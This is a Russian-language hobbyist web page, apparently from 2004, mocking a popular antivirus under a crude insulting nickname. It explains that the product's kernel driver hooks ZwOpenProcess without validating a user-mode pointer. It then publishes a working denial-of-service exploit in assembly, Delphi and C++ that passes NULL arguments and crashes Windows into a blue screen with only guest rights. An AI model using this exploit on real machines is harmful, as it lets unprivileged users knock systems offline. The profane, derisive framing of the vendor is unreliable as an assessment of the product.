Реклама 







Очередная лажа КАрла СПЕРмСКОГО ::..::..::
Существует на свете такой антивирус, который громко зовется "Антивирус Карла Спермского" и незаслуженно пользуется у многих популярностью.

Этот антивирус также знаменит тем, что его процесс нельзя убить диспетчером задач, и это, типа, у них зовется очень крутая защита. На самом деле, товарищ Карл Спермский и Ко написали большую лажу, и его антивирус содержит ОГРОМНЫЕ дыры и ужасно тупые баги. Сейчас я приведу пример бага который присутствует в этом сраном антивирусе вплоть до последних его версий, и который позволяет вынести систему в синий экран нах... Причем для этого нужно всего-лишь иметь в системе права гостя.

Причина бага состоит в том, что антивирус для защиты своего процесса от уничтожения устанавливает в систему драйвер и перехватывает в ядре системы функцию ZwOpenProcess, которая используется для доступа к другим процессам, после чего он запрещает открытие своего процесса с флагом PROCESS_TERMINATE.

Вот прототип этой функции:

NTSYSAPI
NTSTATUS
NTAPI
ZwOpenProcess( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL );


Все это конечно хорошо, но программисты "Карла Спермского" были настолько криворуки и тупы, что допустили очень тупой баг, который мог допустить лишь человек совсем незнакомый с системным программированием.

Приблизительно код функции перехватчика ZwOpenProcess антивируса "Карла Спермского" выглядит так:

NTSTATUS NewZwOpenProcess ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL)
{
if (ClientId->UniqueProcess == MyPid) return STATUS_ACCESS_DENIED;
else return RealZwOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
}


как вы видите в коде проверяется значение поля UniqueProcess структуры CLIENT_ID на которую указывает указатель ClientId. Это есть полная лажа, так как указатель ClientId передается из кода режима пользователя, а код режима ядра пытается выбрать поле структуры не проверяя валидность указателей. Если я передам нулевой указатель, то возникнет ошибка доступа к памяти, а такая ошибка в коде режима ядра приводит к немедленному падению системы.

Эксплоит на этот баг будет выглядеть так:

; AVKS ;) DoS Exploit
; Coded by Ms-Rem

.386
.model flat, stdcall
include ntdll.inc
includelib ntdll.lib
.code

start:
push 01
push 00
push 00
push 01
call ZwOpenProcess
end start


На Delphi так:

ZwOpenProcess(nil, 0, nil, nil);

На С++ так:

ZwOpenProcess(NULL, (HANDLE)0, NULL, NULL);

При выполнении этого кода система падает с сообщением об ошибке в драйвере klif.sys. Выполнение этого кода не требует никаких привилегий. Как видите, Карл Спермский очень сильно старается помочь хакерам и злодеям :). Так что лучше еще раз подумайте, прежде чем решите установить его антивирус.

Разместил Timoty


www.ACTIVNIY.narod.ru © 2oo4 Design Idea by Razer © 2oo4
Меню

Программирование
Web-программирование
Гостевая книга
Фото галерея
Знакомства
Программы
Исходники
Учебники
Приколы
Баннеры
Новости
Опросы
Форум
Статьи
Игры
Чат
 

Ссылки:


Hosted by uCoz